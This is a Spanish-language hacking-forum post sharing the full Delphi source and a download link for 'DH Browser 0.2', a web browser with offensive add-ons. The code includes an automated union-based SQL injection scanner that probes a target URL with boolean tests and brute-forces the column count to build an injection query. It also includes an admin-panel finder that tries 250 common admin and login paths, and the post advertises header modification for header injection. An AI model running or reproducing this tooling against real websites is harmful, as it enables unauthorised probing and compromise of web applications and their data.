elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH Browser 0.2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH Browser 0.2  (Leído 1,649 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH Browser 0.2
« en: 15 Noviembre 2013, 15:02 pm »

Un simple browser que hice en Delphi con las siguientes opciones :

  • Podes ver el codigo HTML de la pagina cargada
  • Se puede buscar palabras en el codigo HTML
  • Poder modificar los headers para HTTP header injection
  • Trae un SQLI Scanner para buscar vulnerabilidades SQLI
  • Trae un PanelFinder para buscar el panel del admin

Unas imagenes :





El codigo :

Carga

Código
  1. // DH Browser 0.2
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dhbrowse;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
  11.  sSkinManager;
  12.  
  13. type
  14.  TForm1 = class(TForm)
  15.    sGroupBox1: TsGroupBox;
  16.    sProgressBar1: TsProgressBar;
  17.    Timer1: TTimer;
  18.    Image1: TImage;
  19.  
  20.    sSkinManager1: TsSkinManager;
  21.    procedure Button1Click(Sender: TObject);
  22.    procedure Timer1Timer(Sender: TObject);
  23.    procedure FormCreate(Sender: TObject);
  24.  private
  25.    { Private declarations }
  26.  public
  27.    { Public declarations }
  28.  end;
  29.  
  30. var
  31.  Form1: TForm1;
  32.  
  33. implementation
  34.  
  35. uses programa;
  36. {$R *.dfm}
  37.  
  38. procedure TForm1.Button1Click(Sender: TObject);
  39. begin
  40.  Form2.Show;
  41. end;
  42.  
  43. procedure TForm1.FormCreate(Sender: TObject);
  44. begin
  45.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  46.  sSkinManager1.SkinName := 'tv-b';
  47.  sSkinManager1.Active := True;
  48. end;
  49.  
  50. procedure TForm1.Timer1Timer(Sender: TObject);
  51. var
  52.  i: integer;
  53.  total: integer;
  54.  
  55. begin
  56.  
  57.  total := 0;
  58.  sProgressBar1.Min := 0;
  59.  sProgressBar1.Max := 100;
  60.  
  61.  For i := 1 to 100 do
  62.  begin
  63.  
  64.    Form1.Update;
  65.  
  66.    Sleep(1000);
  67.    // Sleep(1);
  68.  
  69.    total := total + 10;
  70.  
  71.    sProgressBar1.Position := total;
  72.  
  73.    if (sProgressBar1.Position = 100) then
  74.    begin
  75.      Timer1.Enabled := False;
  76.      Form1.Hide;
  77.      Form2.Show;
  78.      Abort;
  79.    end;
  80.  end;
  81.  
  82. end;
  83.  
  84. end.
  85.  
  86. // The End ?
  87.  

Navegador

Código
  1. // DH Browser 0.2
  2. // (C) Doddy Hackman 2013
  3. // Credits :
  4. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  5. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  6. // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  7.  
  8. unit programa;
  9.  
  10. interface
  11.  
  12. uses
  13.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  14.  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
  15.  sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
  16.  ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
  17.  IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;
  18.  
  19. type
  20.  TForm2 = class(TForm)
  21.    sSkinManager1: TsSkinManager;
  22.    sGroupBox1: TsGroupBox;
  23.    sEdit1: TsEdit;
  24.    sButton1: TsButton;
  25.    sGroupBox2: TsGroupBox;
  26.    sMemo1: TsMemo;
  27.    sCheckBox1: TsCheckBox;
  28.    sGroupBox3: TsGroupBox;
  29.    sStatusBar1: TsStatusBar;
  30.    WebBrowser1: TWebBrowser;
  31.    sGroupBox4: TsGroupBox;
  32.    sButton2: TsButton;
  33.    sButton3: TsButton;
  34.    sGroupBox5: TsGroupBox;
  35.    sButton4: TsButton;
  36.    sLabel1: TsLabel;
  37.    Image1: TImage;
  38.    sMemo2: TsMemo;
  39.    PopupMenu1: TPopupMenu;
  40.    S1: TMenuItem;
  41.    S2: TMenuItem;
  42.    IdHTTP1: TIdHTTP;
  43.    PerlRegEx1: TPerlRegEx;
  44.    FindDialog1: TFindDialog;
  45.    sProgressBar1: TsProgressBar;
  46.    procedure sButton1Click(Sender: TObject);
  47.    procedure S1Click(Sender: TObject);
  48.    procedure S2Click(Sender: TObject);
  49.    procedure sButton3Click(Sender: TObject);
  50.    procedure sButton2Click(Sender: TObject);
  51.    procedure sButton4Click(Sender: TObject);
  52.    procedure FindDialog1Find(Sender: TObject);
  53.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  54.    procedure WebBrowser1ProgressChange(ASender: TObject;
  55.      Progress, ProgressMax: Integer);
  56.    procedure WebBrowser1DownloadComplete(Sender: TObject);
  57.    procedure FormCreate(Sender: TObject);
  58.  private
  59.    { Private declarations }
  60.  public
  61.    { Public declarations }
  62.  end;
  63.  
  64. var
  65.  Form2: TForm2;
  66.  
  67. implementation
  68.  
  69. {$R *.dfm}
  70.  
  71. procedure TForm2.FindDialog1Find(Sender: TObject);
  72.  
  73. // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
  74.  
  75. var
  76.  aca: PChar;
  77.  aca2: PChar;
  78.  acatoy: PChar;
  79.  acatoy2: Word;
  80.  
  81. begin
  82.  
  83.  With Sender as TFindDialog do
  84.  
  85.  begin
  86.  
  87.    GetMem(aca2, Length(FindText) + 1);
  88.    StrPCopy(aca2, FindText);
  89.  
  90.    acatoy2 := sMemo2.GetTextLen + 1;
  91.    GetMem(aca, acatoy2);
  92.  
  93.    sMemo2.GetTextBuf(aca, acatoy2);
  94.  
  95.    acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
  96.    acatoy := StrPos(acatoy, aca2);
  97.  
  98.    if not(acatoy = NIL) then
  99.    begin
  100.      sMemo2.SelStart := acatoy - aca;
  101.      sMemo2.SelLength := Length(FindText);
  102.    end;
  103.  
  104.    sMemo2.SetFocus;
  105.  
  106.  end;
  107.  
  108. end;
  109.  
  110. procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
  111. begin
  112.  Application.Terminate;
  113. end;
  114.  
  115. procedure TForm2.FormCreate(Sender: TObject);
  116. begin
  117.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  118.  sSkinManager1.SkinName := 'tv-b';
  119.  sSkinManager1.Active := True;
  120. end;
  121.  
  122. procedure TForm2.S1Click(Sender: TObject);
  123. begin
  124.  WebBrowser1.Visible := false;
  125.  sMemo2.Visible := True;
  126. end;
  127.  
  128. procedure TForm2.S2Click(Sender: TObject);
  129. begin
  130.  WebBrowser1.Visible := True;
  131.  sMemo2.Visible := false;
  132. end;
  133.  
  134. procedure TForm2.sButton1Click(Sender: TObject);
  135.  
  136. // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
  137.  
  138. var
  139.  
  140.  cabeceras: OLEVariant;
  141.  uno: OLEVariant;
  142.  dos: OLEVariant;
  143.  tres: OLEVariant;
  144.  
  145. begin
  146.  
  147.  uno := navNoReadFromCache or navNoWriteToCache;
  148.  dos := '';
  149.  tres := '';
  150.  
  151.  if (sCheckBox1.Checked) then
  152.  begin
  153.    cabeceras := sMemo1.Text;
  154.    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  155.  end
  156.  else
  157.  begin
  158.    cabeceras := '';
  159.    WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
  160.  end;
  161. end;
  162.  
  163. procedure TForm2.sButton2Click(Sender: TObject);
  164. var
  165.  pass1: string;
  166.  pass2: string;
  167.  code: string;
  168.  urltest: string;
  169.  urlgen: string;
  170.  full: string;
  171.  codedos: string;
  172.  i: Integer;
  173.  
  174. begin
  175.  
  176.  sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
  177.  Form2.sStatusBar1.Update;
  178.  
  179.  pass1 := '+';
  180.  pass2 := '--';
  181.  
  182.  urltest := 'concat(0x4b30425241,1,0x4b30425241)';
  183.  
  184.  sStatusBar1.Panels[0].Text := '[+] Checking ...';
  185.  Form2.sStatusBar1.Update;
  186.  
  187.  code := IdHTTP1.Get
  188.    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);
  189.  
  190.  codedos := IdHTTP1.Get
  191.    (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);
  192.  
  193.  if not(code = codedos) then
  194.  begin
  195.  
  196.    sStatusBar1.Panels[0].Text := '[+] Finding columns number';
  197.    Form2.sStatusBar1.Update;
  198.  
  199.    urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
  200.      'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
  201.    urlgen := '1';
  202.    for i := 2 to 36 do
  203.    begin
  204.      sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
  205.      Form2.sStatusBar1.Update;
  206.      urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
  207.        + ',0x4b30425241)';
  208.      urlgen := urlgen + ',' + IntToStr(i);
  209.      code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
  210.      PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
  211.      PerlRegEx1.Subject := code;
  212.  
  213.      if PerlRegEx1.Match then
  214.      begin
  215.  
  216.        urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
  217.          'hackman', []);
  218.        full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
  219.          'union' + pass1 + 'select' + pass1 + urlgen;
  220.  
  221.        sEdit1.Text := full;
  222.        Abort;
  223.  
  224.      end;
  225.    end;
  226.  end;
  227.  
  228.  sStatusBar1.Panels[0].Text := '[+] Done';
  229.  Form2.sStatusBar1.Update;
  230.  
  231. end;
  232.  
  233. procedure TForm2.sButton3Click(Sender: TObject);
  234. const
  235.  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  236.    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  237.    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  238.    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  239.    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  240.    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  241.    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  242.    'login/index.asp', 'login/index.aspx', 'login/login.asp',
  243.    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  244.    'administracion/index.asp', 'administracion/index.aspx',
  245.    'administracion/login.asp', 'administracion/login.aspx',
  246.    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  247.    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  248.    'admin/admin.php', 'admin/index.php', 'admin/login.php',
  249.    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
  250.    'admin/default.php', 'administracion/', 'administracion/index.php',
  251.    'administracion/login.php', 'administracion/ingresar.php',
  252.    'administracion/admin.php', 'administration/', 'administration/index.php',
  253.    'administration/login.php', 'administrator/index.php',
  254.    'administrator/login.php', 'administrator/system.php', 'system/',
  255.    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  256.    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
  257.    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
  258.    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
  259.    'admin/index.html', 'admin/login.html', 'admin/home.php',
  260.    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
  261.    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
  262.    'administrator/index.html', 'administrator/login.html',
  263.    'administrator/account.html', 'administrator/account.php',
  264.    'administrator.html', 'login.html', 'modelsearch/login.php',
  265.    'moderator.php', 'moderator.html', 'moderator/login.php',
  266.    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  267.    'moderator/', 'account.php', 'account.html', 'controlpanel/',
  268.    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
  269.    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
  270.    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  271.    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  272.    'administrator/index.asp', 'administrator/login.asp',
  273.    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  274.    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  275.    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  276.    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  277.    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  278.    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  279.    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  280.    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  281.    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  282.    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  283.    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  284.    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  285.    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  286.    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  287.    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  288.    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  289.    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  290.    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  291.    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  292.    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  293.    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  294.    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  295.    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  296.    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
  297.    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
  298.    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
  299.    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
  300.    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
  301.    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  302.    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
  303.    'system_administration/', 'ss_vms_admin_sm/');
  304. var
  305.  IdHTTP: TIdHTTP;
  306.  i: Integer;
  307.  control: Integer;
  308. begin
  309.  
  310.  control := 0;
  311.  
  312.  sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
  313.  Form2.sStatusBar1.Update;
  314.  
  315.  IdHTTP := TIdHTTP.Create(nil);
  316.  
  317.  for i := Low(paginas) to High(paginas) do
  318.  
  319.    if (control = 1) then
  320.    begin
  321.      Abort;
  322.    end
  323.    else
  324.    begin
  325.  
  326.      try
  327.  
  328.        sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
  329.        Form2.sStatusBar1.Update;
  330.  
  331.        IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
  332.        if IdHTTP.ResponseCode = 200 then
  333.        begin
  334.  
  335.          sStatusBar1.Panels[0].Text := '[+] Done';
  336.          Form2.sStatusBar1.Update;
  337.          sEdit1.Text := sEdit1.Text + '/' + paginas[i];
  338.          control := 1;
  339.        end;
  340.      except
  341.        on E: EIdHttpProtocolException do
  342.          ;
  343.        on E: Exception do
  344.          ;
  345.      end;
  346.  
  347.    end;
  348.  
  349.  sStatusBar1.Panels[0].Text := '[+] Done';
  350.  Form2.sStatusBar1.Update;
  351.  
  352. end;
  353.  
  354. procedure TForm2.sButton4Click(Sender: TObject);
  355. begin
  356.  FindDialog1.Execute;
  357. end;
  358.  
  359. procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
  360. var
  361.  buscador: IHTMLElement;
  362. begin
  363.  
  364.  sProgressBar1.Position := 0;
  365.  
  366.  // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  367.  
  368.  begin
  369.  
  370.    try
  371.      begin
  372.  
  373.        sMemo2.Clear;
  374.  
  375.        buscador := (WebBrowser1.Document AS IHTMLDocument2).body;
  376.  
  377.        while not(buscador.parentElement = nil) do
  378.        begin
  379.          buscador := buscador.parentElement;
  380.        end;
  381.        sMemo2.Lines.Add(buscador.outerHTML);
  382.      end;
  383.    except
  384.      // ??
  385.    end;
  386.  end;
  387. end;
  388.  
  389. procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
  390.  Progress, ProgressMax: Integer);
  391. begin
  392.  sProgressBar1.Max := ProgressMax;
  393.  sProgressBar1.Position := Progress;
  394. end;
  395.  
  396. end.
  397.  
  398. // The End ?
  399.  


Si lo quieren bajar lo pueden hacer de aca.



« Última modificación: 15 Noviembre 2013, 15:50 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
bt browser 2.0
Hacking Mobile
051r15 3 7,297 Último mensaje 20 Julio 2007, 20:56 pm
por Nakp
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,390 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
Web Browser
Programación Visual Basic
pungados 6 3,001 Último mensaje 3 Diciembre 2007, 20:58 pm
por pungados
Web Browser
.NET (C#, VB.NET, ASP)
Braayhaan 0 1,897 Último mensaje 6 Septiembre 2010, 16:43 pm
por Braayhaan
[Delphi] DH Browser 1.0
Programación General
BigBear 0 1,745 Último mensaje 5 Septiembre 2016, 02:33 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines